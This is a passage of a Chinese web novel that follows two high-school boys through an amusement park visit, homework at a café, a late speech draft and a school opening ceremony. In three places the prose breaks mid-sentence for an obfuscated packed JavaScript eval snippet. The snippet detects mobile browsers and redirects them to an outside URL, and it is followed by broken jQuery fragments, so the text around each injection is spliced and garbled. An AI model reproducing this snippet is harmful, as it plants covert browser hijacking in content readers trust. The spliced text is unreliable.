“你好,”桑群向她展示战利品,“兑换那个玩偶。” 工作人员微讶,接过票子帮他清点数量。 桑群无聊地站在一边,意外发现在这可以从树木缝隙里看见站在下个路口的阮牧年,仰着头在看什么。 蓝色衣服确实好看,很干净。 天色更清蓝,白云之下,仰首眺望的少年衣角飘扬,翩然得好似真的来自高天之上。 “先生、先生?” “嗯?” 桑群回过神,工作人员微笑告诉他:“很抱歉,您的游戏票只有470张,离500张还差30张呢,要不看看别的礼品?” 什么,玩了那么多游戏币都不够吗? 桑群扫了一眼其他礼品,没有别的玩偶了,阮牧年肯定不喜欢。 嘶…… 不能空手而归,桑群问:“就差30张,补点差价可以拿吗?” 工作人员有些为难:“这个……我们这边只能兑换,概不售卖……” “能否通融一下呢,”桑群不太熟练地卖可怜,“我弟弟从小脑子不太好,爸妈走得早,当哥哥的今天第一次带他出来玩,孩子玩了半天了,不想让他失望。” 说着,他还往阮牧年的方向看了两眼。 工作人员顺着他的目光,干净的少年仰着头走神,一副天真单纯的呆样,顿时就信了一半。 “哎呀,那就拿去吧,不用补什么差价,”工作人员打开柜子把玩偶从里面抱出来,递给桑群,“你也不容易,要带弟弟好好玩啊。” 桑群接过毛绒绒的可爱玩偶,颔首:“嗯,谢谢,会的。” 回到阮牧年身边,痴傻的弟弟还在发呆。 “看什么呢?” “嗯?”阮牧年回过神,“没什么,你回来啦?” “哇,这么大嘛,能跟团团争宠了!” “这次别乱取名字,”桑群抱着玩偶,用它的脑袋蹭阮牧年的胸口,说,“禁圆圆。” “你对圆圆有什么意见啊?”阮牧年把玩偶抱过来,在怀里揉揉,想了想说,“那就叫……囊囊吧。” “什么?” “鼓鼓囊囊的囊囊,”阮牧年说,“跟团团异曲同工吧?” “……呵呵。” 果然不能指望他的取名水平。 阮牧年哼着歌:“阮阮填满了团团,桑桑抱回了囊囊,四个娃娃笑哈哈,一起玩耍不分开哼哼哼……” 歌词有点一言难尽,但好歹是让小公主满意了,桑群摸了摸他的后颈:“刚刚在这看什么呢?” “那里新建了座摩天轮,”阮牧年不在乎地说,“你不是恐高嘛,我就看看,反正也挺无聊的。” 桑群微愣。 阮牧年……居然记得这个。 “这有什么,”桑群比他还不在意的样子,“想玩就去玩。” 阮牧年顿住脚步,转过眼来。 他这些年很少有这样的表情,看不出什么情绪,没有笑意也不是在愠怒,只是很平静地压抑住一些东西,然后开口。 “我不想看你站在太高的地方,”阮牧年轻声说,“坐也不行。玩点别的吧。” 桑群看着他的眼睛,里面很清澈,映照着蓝天白云和自己的身影。 他伸手牵住阮牧年,轻轻捏了捏:“嗯,知道了。” 没什么好说的,就像他会惯着阮牧年一样,阮牧年也会在一些细节上在乎着他。 尽管很细碎,但爱就是这样拼凑起来的,在生活的每一个角落。 游乐场四点关门,阮牧年满载而归,拉着桑群去坐公交车。 “走慢点,”桑群磨磨蹭蹭,终究活成了自己讨厌的样子,“急什么。” “21路就要到站了,”阮牧年一手抱娃,一手还要使劲拉他,“你怎么这样啊桑群!” “赶不上就等下一班,反正才半小时。” “啊啊,”阮牧年终于吐露了自己的真实目的,“再晚点就到学生下课的时间了,那款拿铁很热门的,被抢光了怎么办?” 桑群:“周日谁上课?” “高三不是人啊?” “……” 嘶,还真是。 不情不愿地跟着阮牧年赶上公交,坐在窗边,阮牧年伸手戳了戳他的肩膀,安慰道:“别难过了,晚饭我请你吃好吃的。” “不用,”桑群闻言皱眉,“我请。” “桑群,”阮牧年看着他,忽然说,“你是觉得这样做算在还债吗?” 桑群默了一下,道:“……没。” “你请了我午饭,我请你吃晚饭有什么不合适的吗?”阮牧年问。 桑群:“但票钱是你出的。” “你看到票价了,是不是?”阮牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356289|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年叹了口气,“你觉得午饭比不上它的价值,所以还想再请,甚至更多,是吗? “我刚刚发现囊囊的标价是500张票,不是400张,感觉我们的票应该没那么多,你垫付了吗?” 桑群风轻云淡惯了,偶尔才会生出类似心虚的情绪,比如在此刻阮牧年的注视下。 “没有,”桑群拼尽全力,无法战胜,“……没成功。” 阮牧年挑眉:“嗯?” “跟工作人员说弟弟脑子不好,想要玩偶想疯了,”桑群道,“人家心软就给了。” 阮牧年瞪着他,半天才发出一个音节:“……啊。” “好啊你,”他把囊囊塞到桑群怀里,摇晃着某个狗嘴吐不出象牙的家伙,“背地里说我坏话呢?还有,谁是弟弟?” “我是,”桑群从善如流道,“哥哥,我错了。” “别想绕开话题,”车子有些晃,阮牧年撑在他身上,“桑群,有些人情是还不清的,也不可能还清,又不是函数方程,等式两边永远相等。你得转变这个思想,反正今晚的饭我请定了,知道吗?” 桑群低声说:“人情还不干净,钱是算得清的。” 话音刚落,他就察觉到阮牧年搭在他身上的手发力收紧。 好像确实说了不讨喜的话,但就像阮牧年昨晚也对他说了差不多的话一样,他们不会对对方隐瞒真心,桑群觉得这一点很难得,因此也不会去后悔。 阮牧年搭着他,车辆颠簸,他晃了一下砸到了桑群肩上,有些疼。 桑群立刻腾出一只手去摸他:“磕哪了?” 阮牧年嘶了一口气,干脆赖在桑群身上不起来了。气息全吐在桑群手腕上,他道:“那我也说句不好听的,你欠我的钱还少吗?” 桑群手上动作顿了顿:“不少,但不想再欠了。” “我昨天心情不好,要报复性消费,今天花大价钱买桑群陪玩,”阮牧年闭着眼胡说八道,“你就说,你陪不陪?” 再难堪的事情,总能被他扭曲成玩笑或者闹剧,这是阮牧年特有的社交手段,锻炼了这么多年,已经非常娴熟。 虽然很少会用在桑群身上,但不是不用。 桑群叹了口气,去接他的话:“……我死都得陪。” 不吉利,阮牧年掐了他一把。 桑群改口:“陪,怎么陪都行,陪吃陪玩陪聊陪床……唔?” 阮牧年赶紧捂住他的嘴,毫无廉耻心的家伙,什么都敢在公共场合说出来啊。 “晚饭谁请?”阮牧年逼问。 “唔唔。” 阮牧年松开手。 桑群:“你请。” “今天挺累的吧,步数都要登顶了,”桑群说,“晚饭早点吃好了。” 嚯,想压缩学习时间啊。 “放心,”阮牧年神秘一笑,“少不了你吃的。” 好邪恶的笑容,桑群捏了捏这张脸,总有种不祥的预感。 没多久,他的预感就得到了验证。 阮牧年说的咖啡馆在南城中学后面的学生街上,学生还没下课,此刻没多少行人。 南城中学曾是南区唯一的重点高中,自从二中在这里的新校区开设了高中部,它就沦为了南区重点高中之一。 两所学校实力相当,经常在各种排名上一争高下,不过地理距离不算太近,因此战火没有烧得过分旺盛。 反而是三中跟南中离得比较近,不过三中在全市排名不高,只能算个混子高中,也就相安无事了许久。 此刻他们站在咖啡馆的大门前,桑群反复浏览招牌,第一千零一次确认自己是否看错。 上面写着“惬意咖啡屋”,还有“欢迎您”的花体艺术字装饰,但真正吸引桑群目光的是它招牌底下的一行小字。 【用餐请移步隔壁餐厅哟~】 隔壁的招牌名叫“惬意食舍”,两家中间还挂了一个炫彩闪光的箭头,生怕别人不知道它们是同系列的。 桑群喉头发紧:“你不会……” “没错,”阮牧年迈着轻快的步伐走向咖啡屋,说,“我在他们这儿办了个会员,待会儿作业写累了,我们就去隔壁吃饭,吃完再回来继续写,怎么样,很不错吧?” 桑群:“…………” 他想回家。 12. 12 惬意咖啡屋的店面有两层,二楼装修复古,窗边视野极佳,也更加静谧舒适。 阮牧年领着桑群在角落找了个位置,两个人,非要坐四人桌,旁边是一扇宽大的磨砂彩色玻璃窗。 他们都不喜欢面对面的坐法,要沟通什么不太方便。阮牧年把桑群赶到里座,自己坐在外面,断绝某人出逃的机会。 桑群:“……不去点餐?” 阮牧年:“急什么,人家有服务员啊。” 桑群:“……奔波一天了,上个厕所如何?” 阮牧年:“你一个小时前刚去过公共厕所吧?” 桑群:“感觉来了,挡不住。” 阮牧年:“……闭嘴,写!” 桑群垂头丧气地掏出作业本。 三本,数学、物理、化学。 最难的三科。 桑群两眼一闭,看不见光明的未来。 阮牧年搭着他的肩膀说:“这周作业不多的,化学做一下第一单元的预习部分,数学和物理只有第一课时的作业,你先看知识点梗概,理清楚了再做,不会问我。” 桑群:“哦。” 手颤颤巍巍地伸向数学练习册,被阮牧年打掉了:“有没有点规划啊,先做化学。” 桑群:“……哦。” 这边开始痛苦修行的时候,一道冷淡好听的声音在一旁响起。 “您好,有什么需要?” 服务员捧着菜单站在桌边。 阮牧年抬起眼刚要说话,目光在对方脸上顿了顿,然后笑着打了声招呼:“是你啊。” 服务员也愣了愣,点头:“嗯。” “要一杯黄油拉花拿铁,正常糖,”阮牧年说,“嗯……再来一杯柠檬水吧,少冰哦。” 服务员记下:“还有吗?” “先这些吧,”阮牧年对他笑了笑,“有需要我再点。” 服务员:“好的,请稍等片刻。” 人走后,桑群支着脑袋斜睨他:“认识?” “嗯,”阮牧年靠在椅背上,跟他讲,“以前参加培训的同学,他是南城的学霸哦,很厉害的。” “哦,”桑群对学霸不感兴趣,问,“他在这做什么?” “跟你一样啊,”阮牧年说,“你俩还挺像的,都不爱说话,看上去酷酷的,但其实特别心软。” 桑群:“……怎么看出来的。” 阮牧年夸张地睁大眼睛:“这还用看吗?你什么样我不知道啊。” 桑群:“……我是说他。你怎么知道他心软。” 阮牧年转了转眼珠,忽然伸手按住桑群的后脖颈:“怎么聊起八卦了,写啊。” “哼,”桑群拿起笔,“避而不谈,心虚。” “我有什么要心虚的,”阮牧年手上用力,“以后再讲给你听,先沉浸式写会儿作业。” 桑式霸权轰然倒台,现在登上统治舞台的是杀人于无形、令人感到深埋骨髓的恐惧的阮式独裁。 阮式独裁的左膀右臂分别是学科作业和学校考试,将广大学生阶级——实际上领土内只有桑氏一人——统治得彻彻底底。 桑群长叹一口气,把次氯酸钾写成了高锰酸钾。 阮牧年凉凉提醒:“你最好认真点,我要批改的。” 桑群笔尖一歪,火速修改,是次氯酸钾没错了。 “饮品好了,”刚刚的服务员上楼来,将他们的饮料放在桌上,“请慢用。” 阮牧年把柠檬水推到对桌,然后捧着自己的拿铁笑了笑,对服务员道:“谢谢啊。对了,你们店有小程序吗?” “有,那边扫码,”服务员指了指墙上海报的一角,“隔壁餐厅也能点。” 阮牧年问:“在这边吃?” “隔壁座位不够的时候,可以,”服务员说,“一般建议过去吃,两边氛围不一样。” “嗷嗷懂了,”阮牧年喝了口拿铁,“好喝,我特别喜欢你们这款,不远万里也要过来喝一杯。” 桑群在一旁低低地嗤了一声。 闲聊似乎不会过早结束,现下店里也不忙,服务员换了个站姿,整个人放松了一些:“招牌么。” 阮牧年:“像你们这样几点下班啊?” “白班下午五点,”服务员说,“今天有夜班,要九点。” “不晚自习嘛?” “刚开学,下周才有。” “对哦,我们也是哈哈。” 阮牧年又问:“累吗?” 桑群填空的动作稍顿了一下。 “忙的时候有点,一般不是很忙,”服务员说,“但需要稳定,没周末,不能翘班,我从暑假开始上到现在,今天最后一班了。” “啊,”阮牧年有些失望,“难怪。稳定的话对我们来说确实比较难,上课的时候就完全不行了。” 服务员颔首:“嗯。” “对了,”阮牧年拨弄着拿铁包装,“过俩月的那个比赛你听说了吗,会去吗?” “嗯……看情况。” “这还犹豫啊,”阮牧年喝着拿铁,咂嘴道,“我还以为你走竞赛路线呢。” “没空集训,”服务员说,“我参加高考。” “唉,又一个天才被高考耽误了呀,”阮牧年打趣道,“那你选科选的什么?” “全理,”服务员说,“你呢?” “物化政,嘿嘿怎么样,没想到吧?”阮牧年笑着说,“终于摆脱你们这些大佬水深火热的圈子啦。” “恭喜,”服务员道,“不过物理组合都是同赛道。” 阮牧年:“至少一只脚迈出去了啊。” 服务员点点头,正要说什么,腰间响起嘀嘀两声。 不远处,南城中学敲响了放学铃。 “啊要开始忙了对吧,”阮牧年笑了笑,“你去忙吧,加油哦。” 服务员:“嗯,好。” 脚步声渐渐远去,桑群头也没抬,轻哼:“聊得有来有回呢。” “吃什么飞醋呢,”阮牧年笑着凑近,“写完没?” 桑群给最后一个方程式配完平,潇洒按下笔键,搁到桌上:“写完了。” “真棒,”阮牧年把柠檬水推到他面前,“奖励你喝一口。” 桑群:“……就一口?” 阮式压迫剥削,演都不演了啊。 “我说一口你就真喝一口吗,”阮牧年歪着脑袋看他,“你也不老实吧,嗯哼?” “指什么?” 阮牧年伸手过去,桑群连忙截住:“干什么。” “册子底下垫着啥呢,”阮牧年眼睛微眯,“明目张胆啊桑桑。” “……对答案而已,没抄。”桑群试图狡辩。 “抄没抄我看得出来,”阮牧年抢过他的练习册,“红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356290|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔拿来。” 桑群嘶了声:“真改?” “老师的作业要求,认真书写并批改订正错题,”阮牧年无奈重复,“帮你包揽一个环节还不满意?” 桑群双手奉上练习册,恭敬道:“请。” 预习部分没多少习题,大多是知识点填空,不难,阮牧年很快就改完了,转着笔:“OK,休息一会儿。” 桑群喝着柠檬水,微涩、清凉,是他喜欢的滋味。 他看着阮牧年的侧脸,想了想还是问出口:“你平常……跟别人聊天也是这样聊的吗?” “嗯?”阮牧年转头,不太明白他的意思,“有什么问题吗?” “……你刚刚问他累不累。” 阮牧年反应了一下,跟上了桑群的脑回路:“你是觉得我聊天也在到处打听兼职吗?没有的,只是看到他在这里,顺便关心一下而已。” 桑群:“……哦。” “没有你的允许,我不会擅自去影响你的选择,”阮牧年笑了笑,伸手在桑群小臂上搓了搓,“这家店环境这么好,肯定很难进啊,宁舟却能出现在这里,所以我就问问。不过他肯定没说全,除了稳定上工以外的条件。” 桑群皱眉想了想:“文凭?” “他跟我们同级啊笨蛋,”阮牧年失笑,“要么就是有人推荐,要么就是有非常出彩的能力,比如很会拉花之类的,总之肯定不适合你啦。” 是这个道理,桑群赞同地点了点头。 “我平常跟同学聊天,不会多问这么几句,”阮牧年捏着桑群的手肘薄皮,又解释了两句,“因为那是宁舟,才问的。” 桑群从来不知道阮牧年除了他还有什么羁绊深厚的朋友,心里顿时涌现危机感:“为什么?” “还记得我之前跟你提过的那个办法吗,”阮牧年吧唧着拿铁味的舌头,说,“宁舟很早就这么做了,高一一入学就申请了贫困资助,然后有奖金的比赛都会参加报名,简直是勤学俭工典范……别气馁,你跟他不一样。” 怎么个不一样法?桑群正好奇,就听阮牧年接下去:“你没他聪明。” 桑群:“……” 不会说话可以不说。 “没关系的,”阮牧年继续胡乱安慰,“学不会有年年大厨教你。” 教什么,怎么做最后一餐吗? 桑群冷脸喝了一口冰柠檬水。 “桑桑啊,”阮牧年歪着脑袋趴在桌上,窗外熔金的暮晖落在他眼里,“你太细心了。出来玩就不要想那么多,好不好?” 他的眼睛像盛着晖光金沙的玻璃球。 桑群看着他:“……嗯。” “好久没看到你笑啦,就像今天早上那样。” 桑群沉默了一下,伸出手指去捏对方的脸颊,冲他龇了龇牙。 “啊,好冰,”阮牧年躲开,捂着脸,“笑得跟要吃人似的。” 桑群道:“那吃不饱。” “没有好好养膘,让你食不果腹,我很抱歉,”阮牧年话锋一转,“那吃点别的吧。” 桑群:“?吃什么。” 阮牧年邪恶地笑起来,抓起练习册拍到桑群面前:“数学题啊。” 桑群:“……” 桑群:“……水好像喝多了,我去上个厕……” 然而阮牧年早已堵死了他的出路。 “别想逃,赶紧写!” 13. 13 在阮牧年的贴心(身)指导下,桑群被动接受了长达两小时的知识洗礼,醍醐灌顶,垂死挣扎。 好歹是把作业赶完了,虽然不知道这些知识能在大脑里停留多久。 去隔壁餐厅吃饱又回来整理错题,撑到咖啡屋快下班的时候,桑群彻底燃尽。 “好了好了,”阮牧年挠着他蔫巴的头发,恶魔低语,“最后一道题,不算了你把过程简单写一下就行,好不好?再振作一下。” “……人家都要下班了。” “没呢,他们24小时营业。” “……” “桑桑?”阮牧年给他摸摸头,从兜里掏出情侣票免费兑换的巧克力,戳了戳他的嘴角,“吃点零食脉动回来?别趴了,做完就回家了啊。” 桑群:“……啊。” 阮牧年帮他剥开包装,亲手喂食。 巧克力是极好的,至少给桑群续了点命。 等到最后一道公式写成,窗外万家灯火渐熄,残蝉长鸣,入夜的风微微凝滞。 阮牧年抱了抱可怜的作业人,欢欣宣布:“回家!” 走出咖啡屋,夜班公交是没有了,桑群掏出手机打车,阮牧年插着兜在他旁边踢石头。 骨碌骨碌。 小石子滚出去,被灯杆弹了回来,在地上摇晃着停下。 阮牧年歪了歪头,走过去想再踢,瞧见地面上出现一条长长的身影。 抬眼看过去,宁舟换下工作围裙,披着校服外套从后门走来。 看见阮牧年,他颔首算打了个招呼,没有多话的意思。 阮牧年冲他笑了笑:“下班啦?” 宁舟点头。 “夜路小心,拜拜。” 宁舟抬了抬手,经过他们走进一条小巷,老旧的路灯昏暗,那道瘦削的身影很快隐没在夜色中。 阮牧年的肩膀被拍了拍,桑群说:“打到了,去那边路口等……看什么呢?” “宁舟下班了,我跟他打了个招呼。” 桑群看着他:“你好像很在意他。” 阮牧年没搭话,只是跟着桑群往路口走。 走了两步,他才低低开口。 “我只是会想,如果当年我没有强行留在你身边,你会不会变得跟他一样。” 桑群脚步微顿:“……什么样。” 阮牧年的目光像层淡淡的薄纱,朦胧裹着过往,但里面没有悲伤,只有一片装着桑群的夜。 能是怎么样呢?孤独、寡言、一个人走在万籁俱静的夜里。 阮牧年闭了闭眼,路口快到了,一盏明亮的路灯照映着过往车流。 “没事,”他眼里又亮了起来,拉着桑群的手边走边说,“假设只会徒增忧愁。至少现在我们没有分开,挺好的。” 一瞬的黯淡仿佛只是错觉,桑群在路边站定,回过头来,熟悉的面孔在他身边一同停下。 他想起昨晚的美梦,想起早上那个难得的笑,这世上很多东西会从指尖流走,但他的双手并非空空如也。 于是他没再多问,只是握紧了手里的另一只手。 “嗯。” 心照不宣是他们之间非常珍贵的品质,无需多言,彼此相知。 “啊,我的会员额度还没用完,什么时候再来一趟?” “没作业的时候。” “哇,这不就是不想来的意思?哪天没作业啊。” “哼。” “好吧好吧,等放假的。明天想吃什么?” “豆浆和鸡柳饼。” “面皮快没有了,下次要采购啊。” “嗯。” …… 回到家,阮牧年飞快逃向卧室,被桑群提着后领揪出来。 “玩了一天不臭吗,”桑群皱眉,“洗澡去。” 逃跑失败,这下轮到阮牧年垂头丧气:“……知道了。” “还洗头吗?” “你说呢?” “算了吧,这弄完都几点了。” “叫你不让我走,”桑群冷哼,“再晚也得洗。” 阮牧年很舍不得桑群这件衣服:“真好看啊,学校怎么不把校服设计成这样?” 桑群利落地脱掉了粉色卫衣,扔在篓里,走过来:“磨蹭什么?” 阮牧年叹了口气。 好在这次速度还挺快的,一整□□完还没到十一点。阮牧年在沙发坐下等桑托尼的吹头服务,墙上指针滴答作响,没过多久就是周一了。 怎么感觉好像忘了什么事? 桑群拎着电风吹过来的时候,看见某人猛地拍了一下大腿,然后嘶嘶怪叫。 “怎么了?” “完了,桑群,完蛋了,”阮牧年惊恐地揪住他的衣角,面色惨白,“明天是开学典礼啊,我怎么忘了这事……” “这有什……” 哦。 桑群也想到了。 作为年级里形象与成绩俱佳的优秀学生,阮牧年同学总是能被老师们分配一些诸如国旗下讲话的工作。 “演讲稿……演讲稿在哪儿来着?”阮牧年顶着湿漉漉的脑袋跑到书桌前一通乱翻,然后颓然瘫坐在冰凉的椅子上,“不对,好像是要自己写……完了啊……” 桑群忍了一下,没忍住,嗤笑出声。 真是风水轮流转,他愉快地走过来,问:“还吹头吗?脑子别进水了。” “今晚不用睡了呜呜,”阮牧年捂脸,“我这么惨,你怎么还说风凉话。” 桑群插上插头,按下按钮,电风吹隆隆作响,吹了阮牧年一脸冷风。 “……” “那我先吹,”桑群调到热档,边吹边说,“慢慢写,不急。” 怎么能不急?阮年年快成热锅上的蚂蚁——融化粘锅了。 阮牧年焦虑地抓了抓头发,发现弄得一手水,转头往桑群睡衣上擦干。 桑群皱眉躲开,不爽:“搞什么。” 御用擦手巾罢工,阮牧年只好在自己身上抹了抹,甩着手翻出科作业纸和自动铅笔,在上面打草稿。 没写几行又划掉了,不好,不够得体,又想了一个开头,再涂掉。 涂涂改改的,桑群头发都吹干了,蓬松得很。 他关掉吹风筒,凑过来:“干嘛手写,网上随便抄一篇得了。” “你以为有这么简单吗,”阮牧年欲哭无泪,“老师给了我好多要求,上学期学习总结和这学期学生活动的开展,为什么有这么多乱七八糟的东西需要讲啊?” 看着比自己挣扎学海可怜,桑群还是心软了,挠了挠对方的下巴,“过来吹头。边吹边构思,待会儿再写。” 阮牧年把头凑过去,在风声中大声道:“今晚睡不成床了,你去享受吧。” “没有事情你也不一定能睡。” “为什么?我还以为我们以后一起睡呢。” “想多了。安慰也是有时限的。” “单纯就是报复吧?写作业写怕了,不乐意我也舒服呗。” “哼。” “真的不能一起睡吗?” “再说了。” “感觉今晚会是个不眠夜啊,咖啡因在我的血液中沸腾。” “别熬太晚,可以等你到十二点。” “真的?” “嗯……超时了就自己睡沙发。” “唉,感觉超时的可能性很大啊。” “笨,有什么事没做都不记得。” “还不是你突然要陪我出去玩,就全抛脑后了啊。” “怪我了?” “不能我全扛了,你也担点责任。” “哼。” 头吹完,桑群潇洒离去准备睡觉,只留阮牧年一人对桌编大纲。 好的,开完头了,上学期干了什么来着?翻聊天记录看看……他掏出手机,找到老师的好友,又埋头写了一阵,下一段,这学期啥任务?再翻翻。 磕磕绊绊的,好歹是写完了,忽然对今晚写完作业的桑群感同身受了。 好的看一眼时间,啧,超过十二点了,不能去打扰桑群了,毕竟是个有起床气的坏脾气。 阮牧年叹了口气,好困,在桌上趴一会儿吧,懒得去沙发上铺被子了。 迷迷糊糊间,好像有什么事一直没放下。 玩也玩了,作业早写完了,演讲稿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356291|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写了,还有什么? 眼前出现五彩缤纷的场景,是进入梦乡了吧?但又很快浮现小夜灯和一桌稿纸,睡得好浅,快睡啊,明早起不来就糟了。 呼呼,这下应该睡着了,放松地无意识了好久,但又忽然睁眼,不远处的手机因为弹出消息发着幽幽暗光。 对了,他好像想起来了,早上把妈妈半拉黑了,她后面有没有回什么消息来? 可惜睡眼惺忪,屏幕上的字叠着重影根本看不懂,算了算了,睡觉。 一觉到天亮,闹钟响起的时候,阮牧年一巴掌拍掉,直起脖子才顿觉一阵酸痛。 嘶。 糟糕的睡眠姿势要不得,下次还是不趴桌了。 揉了揉眼睛,他起身去洗漱、做早饭,最近养成的习惯让他很享受清早晨光微熹中安静做饭的过程。 一切准备妥当,快六点半了,该去叫桑群起床了。 走进卧室,阮牧年一眼就看到床头柜上的团团。小熊歪着脑袋看他,没有说话。 当然不会说话,但阮牧年知道它在对自己微笑点头,于是也回了一个笑容:“早,团团。” 床上桑群的脸半埋在被褥间,睡颜是他少见的柔和的时刻,卸去了冷漠和戒备,更接近小时候那个无忧无虑的阿君羊。 阮牧年凑近,戳了戳他的脸蛋:“桑群,起床啦。” 没应,床上的人还在睡。 阮牧年叹了口气,每次都要这样吗? 他摩拳擦掌,然后拉下被子露出整张脸,先把双掌覆上去使劲搓了搓,再捏住对方的鼻子,几秒后松开,拐弯去揪旁边的耳垂。 桑群终于皱起眉,喉间发出闷闷的一声嗯,扭过了头。 还睡,阮牧年加大力道,继续骚扰,循环往复。 受不了了,桑群挣扎着挪动,躲开某人的毒手,眼睛勉强睁开一条缝,嗓音低沉透着浓浓的不爽:“别弄……” 阮牧年蹭了蹭他的鼻尖,喊道:“该起床啦——” 好烦。 跟困意搏斗了好一番,桑群终于睁开眼,瞪视面前的阮牧年。 阮牧年不惯他,都赖床十分钟了:“赶紧的,起来。” 拉着桑群的胳膊,总算把某人赶下床了,目送他进了卫生间,阮牧年理了理身上的校服,去客厅检查书包有没有收好。 桑群刷牙的时候,阮牧年就准备出门了。 他走到厕所门口:“我走了哦,早餐在锅里,书包帮你收好了,水壶在书桌上。” 桑群满口白沫:“嗯。” 阮牧年又对着镜子边角抓了抓头发,确认校服领口整齐折好,然后说:“我们班的队伍在主席台正对的篮球筐下面,不要走错了。” 桑群吐掉一口水:“哦。” “走啦,”阮牧年拍了拍他的肩膀,边走边反复叮嘱,“不要迟到!” 桑群叼着牙刷:“嗯。” 怎么会迟到呢,东西都由阮牧年整理妥当了,也不会有半路需要扶老奶奶过马路的困扰,桑群想不到自己会怎么迟到。 在看见自己凌乱的衣柜之前,他依旧是这样想的。 然而。 翻箱倒柜,找不到自己上周五就叠好收起来的校服,跑到阳台上一看,呵,阮牧年那件皱巴巴的校服正在衣架上飘扬呢。 搞什么,又偷穿他的衣服。 想到某人今早要上台演讲,桑群强行咽下了这口气,行,他应该还有一套。 ……不对,昨晚回来太晚了,没洗。 桑群:“……” 赶到校门口的时候,升旗前的预备曲已经奏响了,门口的学生们如潮涌至。 很不幸,今天在门口值班的正是他们班班主任。张老师捧着一块板夹,一眼就看见了班上的头疼学生。 “怎么还慢吞吞的,”张老师道,“再两分钟就要开始了,赶紧跑进去。” 桑群抿唇点点头,按住书包带子准备加快脚步——跑不至于,会把书包甩掉。 然而张老师忽然又叫住了他:“等等。” 桑群:“?” 张老师抬了抬眼镜:“你校徽呢?” 桑群:“……” 14. 14 是啊,校徽呢? 为了防止自己忘带,洗完衣服桑群都会把它搁进外套兜里。 谁穿走了他的外套呢? 桑群有苦难言:“……落教室抽屉了。” 张老师眯眼看他,招了招手:“衣服也皱巴巴的,一点形象都没有。你过来,待会儿跟我一块进去。” 桑群:“……哦。” 这怪谁? 终究是他扛下了所有。 音乐渐歇,门口没多少学生了,张老师收好板夹示意桑群跟上她,边走边教导:“说了很多遍,校徽、校服是学生每天必须要整齐穿戴的,还好今天是我值班,要是换了别的老师,直接就会给咱们班扣分……” 桑群附和点头,是是是,但罪魁祸首是那位即将上台的阮同学,他不想背这个黑锅。 “待会儿回了教室,校徽戴上给我看看,”张老师道,“还是没有的话,我就给我们班扣分了。上周班会刚讲过,给班级扣分的同学……” 桑群左耳进右耳出,没什么意思,无非就是打扫卫生之类的,希望阮牧年没把他的校徽弄丢吧。 进了操场,张老师终于停止了她的诲人不倦,挥手让桑群自己站去队伍末端,她则从班级后面一点点走到前面,顺便检查同学们的仪容仪表。 倒数第二位同学个子高高的,一对粗眉很有标志性,见桑群跟班主任一起过来,低声跟他套近乎:“哥们,你被老张抓了?” 这人谁?桑群莫名其妙:“嗯。” “你居然全须全尾地回来了?”那人非常惊奇,“你没带校徽是不?太神奇了,老张本来最不能容忍这种事,没想到啊,果然刘嘉说的是真的……” 啥? 听不懂这人在自言自语什么,对方显然也不奢求能得到他的回应,很快转过身去不再搭话。 音乐停了有一阵了,主席台上的老师在调试话筒,不知道是哪个主任开始主持升旗仪式。 常规的流程走了一遍,百无聊赖,桑群开始插着兜发呆。 身后忽然传来一道幽幽的声音:“手放两侧,别插兜。” 差点被吓了一跳,桑群回过头,班主任正盯着他。 桑群:“……” 果然变成重点关注对象了。 都怪阮牧年。 主席台上的老师无缝衔接开始了开学典礼的流程,先是学校领导讲话,再是老师代表,最后是学生代表。 “进入下一个环节,有请学生代表高二三班的阮牧年同学进行发言。” 掌声似乎比前面还要热烈一些,想来是阮牧年人气所致。班主任就在后面盯着,桑群敷衍地抚了下掌,猫咪走路都比这个响。 学生代表上台了,一身整齐的校服,精神的发型,站得笔直挺拔,未语先笑,气音通过话筒扩大,不知哪个班传来低低的呼声。 “尊敬的领导、老师们,亲爱的同学们,大家早上好……” 状态不错,看起来不像是昨晚熬夜写稿的样子,桑群跟全校师生一起仰头看着主席台上正在演讲的人,思绪却不由乱飘——他的眼尾还红吗? 应该是好得差不多了,不然不敢出门。主席台上的少年在风里铿锵陈词,唇角带笑,双眸熠熠生辉。 阳光、开朗、积极向上,这是大家眼中的阮牧年,贴着诸如此类的标签。 放在十几年前,桑群很难相信那个软弱的小哭包会长成今天这副样子,但就像阮牧年说的那样,挺好的,假设没有意义,他们走到今天这步,就是最好的结果。 又或许,这就是阮牧年所说的,在提起某人的时候,心里会有种无与伦比的优越感。 暖心的感慨还萦绕心头,冰冷的现实凉水就兜头浇下。 “桑群,”班主任对他说,“待会儿散场了,跟我去趟办公室。” 不是,一个校徽而已,至于吗? 可恶的阮牧年。 不过事情好像没那么简单。 班主任领着他到了政治老师办公桌前,道:“老吴,这小子给你带来了哈。” 